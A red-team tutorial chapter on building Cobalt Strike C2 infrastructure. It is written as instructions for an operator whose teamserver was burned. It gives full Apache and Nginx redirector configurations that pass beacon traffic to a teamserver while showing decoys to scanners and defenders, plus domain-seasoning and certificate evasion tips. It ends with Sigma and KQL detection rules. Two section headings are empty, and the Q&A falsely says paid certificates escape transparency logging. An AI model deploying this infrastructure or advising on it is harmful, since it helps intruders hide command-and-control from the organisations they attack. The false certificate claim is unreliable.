C2 Infrastructure Design and Redirectors
A mature C2 infrastructure is built in layers so that a burned implant or detected domain does not expose the teamserver, and so that defenders analyzing traffic see only a legitimate cloud CDN rather than an offensive tool. This chapter covers the full architecture — redirectors, categorization, Domain Fronting, Apache/Nginx redir configurations — and explains exactly what each layer is designed to hide and from whom.
Your Cobalt Strike teamserver IP has been submitted to VirusTotal by an alert SOC analyst at a prior target. All future beacons hardcoded to that IP are burned. You need to rebuild infrastructure so that: (1) no future beacon contains the teamserver IP or a domain that resolves to it, (2) the teamserver can be rotated without recompiling implants, and (3) your traffic blends with existing cloud CDN traffic patterns already trusted by the target's proxy rules.
C2 Architecture Overview
Redirector Types and When to Use Each
| Redirector Type | Setup complexity | Defense bypass | Burns when… |
|---|---|---|---|
| Dumb TCP forwarder (socat/iptables) | Trivial | Low — full traffic seen at VPS | VPS IP submitted to blocklist |
| Apache mod_rewrite | Low | Medium — can serve 404/decoy to scanners | VPS IP burned |
| Nginx proxy_pass | Low | Medium — SNI passthrough possible | VPS IP burned |
| Cloudflare Worker | Medium | High — IP is Cloudflare; geo-filtered | Domain burned (Worker URL) |
| Domain Fronting via CDN | High | Very high — SNI ≠ real target | Fronted CDN blocks CONNECT abuse |
| DNS C2 (dnscat2/iodine) | Medium | High in restrictive egress | Domain burned in DNS logs |
Apache mod_rewrite Redirector
The redirector serves a legitimate-looking decoy page to any client that doesn't match the expected beacon user-agent and URI pattern. Scanners, blue-teamers, and automated infrastructure scanners get a real 200 response — the teamserver IP is never revealed to them.
# /etc/apache2/sites-enabled/redir.conf
# Requirements: mod_rewrite, mod_proxy, mod_proxy_http, mod_ssl
<VirtualHost *:443>
ServerName redir.yourdomain.com
SSLEngine On
SSLCertificateFile /etc/letsencrypt/live/redir.yourdomain.com/fullchain.pem
SSLCertificateKeyFile /etc/letsencrypt/live/redir.yourdomain.com/privkey.pem
# Don't reveal this is a redirector
ServerTokens Prod
ServerSignature Off
# Log access (or don't — operational choice)
CustomLog /var/log/apache2/redir_access.log combined
ErrorLog /var/log/apache2/redir_error.log
RewriteEngine On
# --- Only forward requests matching the beacon URI pattern ---
# Cobalt Strike malleable C2: beacon checks in with /jquery-3.3.2.slim.min.js
# and sends tasks from /Consent/Manage (example malleable profile URIs)
# Condition 1: user-agent must match expected (from malleable profile)
RewriteCond %{HTTP_USER_AGENT} "Mozilla/5.0 \(compatible; MSIE 9\.0; Windows NT 6\.1\)" [NC]
# Condition 2: URI must match beacon pattern
RewriteCond %{REQUEST_URI} "^/jquery-[0-9a-z.]+\.min\.js$" [OR]
RewriteCond %{REQUEST_URI} "^/Consent/Manage" [OR]
RewriteCond %{REQUEST_URI} "^/api/v[0-9]/update$"
# Forward matched traffic to teamserver (internal IP / VPN)
RewriteRule ^.*$ https://10.0.0.100:443%{REQUEST_URI} [P,L]
ProxyPassReverse / https://10.0.0.100:443/
# --- Everything else: serve a decoy ---
# Redirect to Microsoft to appear as a legitimate Microsoft-associated CDN
RewriteRule ^.*$ https://www.microsoft.com/ [R=302,L]
</VirtualHost>
# Firewall rule (iptables): only allow inbound 443 from CDN IP ranges
# iptables -A INPUT -p tcp --dport 443 -s 104.16.0.0/12 -j ACCEPT # Cloudflare
# iptables -A INPUT -p tcp --dport 443 -j DROP
Nginx Redirector with SNI Passthrough
# Nginx stream (layer 4) redirector — forwards TLS without terminating.
# Teamserver sees real client IP in logs.
# Useful when teamserver has its own TLS cert the beacon trusts directly.
# /etc/nginx/nginx.conf
stream {
map $ssl_preread_server_name $backend {
c2.attacker.com 10.0.0.100:443; # matched SNI → teamserver
default 127.0.0.1:8080; # unmatched → decoy nginx
}
server {
listen 443;
proxy_pass $backend;
ssl_preread on; # read SNI without terminating TLS
proxy_timeout 20s;
proxy_connect_timeout 5s;
}
}
http {
# Decoy web server on :8080
server {
listen 8080;
root /var/www/decoy;
index index.html;
location / { try_files $uri /index.html; }
}
}
# SNI passthrough means:
# - TLS certificate must be on the teamserver, not the redirector
# - The SNI name (c2.attacker.com) must resolve to redirector's IP
# - Beacon connects to redirector IP but presents SNI for teamserver cert
CDN Domain Fronting
Infrastructure OPSEC Checklist
Detection Engineering
title: Beacon to CDN with Suspicious URI Pattern
logsource:
product: windows
category: proxy
detection:
selection:
cs-host|contains:
- 'azurefd.net'
- 'cloudfront.net'
- 'workers.dev'
cs-uri-stem|re: '^/(jquery-|moment-|bootstrap-).*\.min\.js$'
cs-method: GET
filter_legit:
cs-referer|contains: 'https://' # referer present = browser, not beacon
condition: selection AND NOT filter_legit
level: medium
tags: [attack.command_and_control, T1071.001]
title: Beaconing: Periodic HTTPS to Same Host (Low Jitter)
logsource:
product: zeek
service: conn
detection:
selection:
id.resp_p: 443
duration|lt: 1 # very short connections = checkin, not browsing
condition: selection
level: low
falsepositives: [Analytics beacons, telemetry, update checks]
note: Requires Zeek conn.log aggregation with time-bucket analysis to detect regularity
-- MDE KQL: detect new domain first seen today that received regular POSTs
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemotePort == 443
| summarize
request_count = count(),
first_seen = min(Timestamp),
last_seen = max(Timestamp),
unique_processes = dcount(InitiatingProcessFileName)
by DeviceName, RemoteUrl
| where request_count > 20
| where first_seen > ago(1d) // domain never seen before today
| where unique_processes == 1 // only one process talking to it
| project DeviceName, RemoteUrl, request_count, first_seen, last_seen
Q&A
What does "burning" a C2 domain mean operationally, and what signals tell a defender a domain should be blocked?
A C2 domain is "burned" when it has been associated with offensive activity in a way that causes defenders to add it to blocklists or start hunting for systems that have contacted it. The most direct path is a victim organization submitting it to threat intelligence feeds (VirusTotal, Shodan, Pulsedive, AbuseIPDB), after which automated blocklist systems propagate the entry globally within hours. Once a domain appears in any major threat feed, proxies, firewalls, and EDR network inspection modules will block it immediately for all customers sharing that feed.
The signals defenders use to identify a suspicious domain and start that burn process include: (1) New domain age: domains registered within the past 30 days have no reputation and are blocked by default by many enterprise proxies. This is why experienced operators register and "season" domains months before use. (2) DNS patterns: a domain with only an A record and no MX, no SPF, no DMARC, and no web content is unusual for any legitimate business. (3) Reverse DNS: if the PTR record of the IP resolves to a generic VPS hostname (e.g., 198-51-100-42.vps-provider.com), it signals a disposable VPS. (4) Traffic regularity: a host making POST requests to the same domain every 60 seconds, with short round-trip times and no browsing context (no referer, no cookies), is characteristic of beacon check-in rather than human browsing. (5) Certificate transparency: Let's Encrypt certificates are logged in CT logs — a new cert for a previously unknown domain is a hunted signal. Operators counter by purchasing paid certs (no CT log delay), using wildcard certs, or establishing the domain with a real web presence before the cert changes. For defenders, the practical response to a burn event is: identify all hosts that have contacted the burned indicator over the retention window, threat hunt those hosts for lateral movement, and correlate with authentication events.